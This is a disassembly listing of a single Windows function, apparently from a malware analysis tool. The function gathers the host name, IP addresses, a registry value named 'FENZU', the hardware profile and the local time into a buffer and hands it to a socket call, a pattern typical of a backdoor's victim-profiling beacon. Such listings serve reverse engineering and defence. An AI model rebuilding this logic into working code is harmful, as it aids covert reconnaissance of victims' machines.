Function at 0x1400015b0
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x410
mov dword [rsp + 0x68], 0xffffffff
mov ecx, 0xf90
call fcn.14003368c
mov qword [rsp + 0x3b8], rax
mov rax, qword [rsp + 0x3b8]
mov qword [rsp + 0x60], rax
mov r8d, 0xf90
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400335a0
mov rax, qword [rsp + 0x60]
mov byte [rax], 3
lea rax, [rsp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
lea rax, [rsp + 0x2b0]
mov rdi, rax
xor eax, eax
mov ecx, 0x100
rep stosb byte [rdi], al
mov r8d, 0x100
xor edx, edx
lea rcx, [rsp + 0x2b0]
call fcn.1400335a0
mov edx, 0x100
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rsp + 0x2b0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
je 0x140001728
mov dword [rsp + 0x3b0], 0
jmp 0x14000169e
mov eax, dword [rsp + 0x3b0]
inc eax
mov dword [rsp + 0x3b0], eax
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rax, qword [rcx + rax*8]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, rax
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140033508
lea r8, str._n
mov edx, 0x100
lea rcx, [rsp + 0x90]
call fcn.140033508
movsxd rax, dword [rsp + 0x3b0]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rsp + 0x190]
movsx rdx, word [rdx + 0x12]
add rdx, qword [rcx + rax*8]
mov rax, rdx
mov rcx, qword [rsp + 0x190]
cmp rax, qword [rcx]
jb 0x140001723
jmp 0x140001728
jmp 0x14000168e
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [rsp + 0x88], eax
mov rax, qword [rsp + 0x60]
add rax, 2
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rax
mov r9d, 0xffffffff
lea r8, [rsp + 0x90]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.1400022a0
test eax, eax
je 0x1400017b5
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x1400558bc]
mov rcx, rax
call fcn.140003bc0
mov dword [rsp + 0x3c8], eax
jmp 0x1400017d6
mov rax, qword [rsp + 0x60]
add rax, 0x200
lea rdx, [0x1400558c0]
mov rcx, rax
call fcn.140003bc0
mov dword [rsp + 0x3c8], eax
mov rax, qword [rsp + 0x60]
add rax, 0x598
mov rcx, rax
call fcn.140001da0
cmp dword [rsp + 0x438], 0
je 0x140001804
lea rax, [0x1400558d8]
mov qword [rsp + 0x3d0], rax
jmp 0x140001813
lea rax, [0x1400558e8]
mov qword [rsp + 0x3d0], rax
mov rax, qword [rsp + 0x60]
add rax, 0x796
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x796
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, str.FENZU
mov rdx, qword [rsp + 0x3d0]
mov rcx, 0xffffffff80000001
call fcn.140002cd0
cmp eax, 1
jge 0x140001892
mov rax, qword [rsp + 0x60]
add rax, 0x796
lea rdx, [0x14006c59c]
mov rcx, rax
call fcn.140003bf0
cmp dword [rsp + 0x438], 0
je 0x1400018ad
lea rax, [0x140055908]
mov qword [rsp + 0x3d8], rax
jmp 0x1400018bc
lea rax, [0x140055918]
mov qword [rsp + 0x3d8], rax
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cdqe
shl rax, 1
mov rcx, qword [rsp + 0x60]
add rcx, 0x7fa
mov dword [rsp + 0x38], 2
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov r9d, 1
lea r8, [0x1400558f8]
mov rdx, qword [rsp + 0x3d8]
mov rcx, 0xffffffff80000001
call fcn.140002cd0
cmp eax, 1
jge 0x14000193b
mov rax, qword [rsp + 0x60]
add rax, 0x7fa
lea rdx, [0x14006c600]
mov rcx, rax
call fcn.140003bf0
mov rax, qword [rsp + 0x60]
add rax, 0x85e
mov r8d, 0xa
mov rdx, rax
mov ecx, dword [rsp + 0x428]
call fcn.140003c20
mov rax, qword [rsp + 0x60]
add rax, 0x9a8
mov rcx, rax
call fcn.140002990
call fcn.140002450
movzx eax, al
test eax, eax
je 0x14000199d
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x1400558c4]
mov rcx, rax
call fcn.140003bc0
mov dword [rsp + 0x3e0], eax
jmp 0x1400019be
mov rax, qword [rsp + 0x60]
add rax, 0xa16
lea rdx, [0x1400558d4]
mov rcx, rax
call fcn.140003bc0
mov dword [rsp + 0x3e0], eax
call fcn.1400021b0
mov rcx, qword [rsp + 0x60]
add rcx, 0xc28
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x78]
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x7a]
mov word [rsp + 0x54], ax
movzx eax, word [rsp + 0x7e]
mov word [rsp + 0x2a0], ax
movzx eax, word [rsp + 0x80]
mov word [rsp + 0x6c], ax
movzx eax, word [rsp + 0x82]
mov word [rsp + 0x58], ax
movzx eax, word [rsp + 0x84]
mov word [rsp + 0x50], ax
movzx eax, word [rsp + 0x50]
movzx ecx, word [rsp + 0x58]
movzx edx, word [rsp + 0x6c]
movzx edi, word [rsp + 0x2a0]
movzx r8d, word [rsp + 0x54]
movzx r9d, word [rsp + 0x70]
mov r10, qword [rsp + 0x60]
add r10, 0x8c2
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r8d
mov r8, qword [rsp + 0x430]
lea rdx, [0x140055930]
mov rcx, r10
call qword [sym.imp.USER32.dll_wsprintfW]
mov rax, qword [rsp + 0x60]
add rax, 0x926
lea rdx, [0x140055928]
mov rcx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x1a0]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
test eax, eax
je 0x140001b49
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3e8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x3f0], r9
lea r10, [rsp + 0x1a4]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3e8]
mov rdx, rax
mov rax, qword [rsp + 0x3f0]
mov rcx, rax
call fcn.140001c30
jmp 0x140001bd1
mov rax, qword [rsp + 0x60]
add rax, 0xa0c
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov rdx, qword [rsp + 0x60]
add rdx, 0x318
mov rdi, qword [rsp + 0x60]
add rdi, 0x2dc
mov r8, qword [rsp + 0x60]
add r8, 0x214
mov qword [rsp + 0x3f8], r8
mov r9, qword [rsp + 0x60]
add r9, 0xf2e
mov qword [rsp + 0x400], r9
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r9, rdx
mov r8, rdi
mov rax, qword [rsp + 0x3f8]
mov rdx, rax
mov rax, qword [rsp + 0x400]
mov rcx, rax
call fcn.140001c30
mov rax, qword [rsp + 0x420]
mov rax, qword [rax]
mov r8d, 0xf90
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x420]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x68], eax
cmp qword [rsp + 0x60], 0
je 0x140001c21
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x3c0], rax
mov rcx, qword [rsp + 0x3c0]
call fcn.140032f4c
mov qword [rsp + 0x60], 0
mov eax, dword [rsp + 0x68]
add rsp, 0x410
pop rdi
ret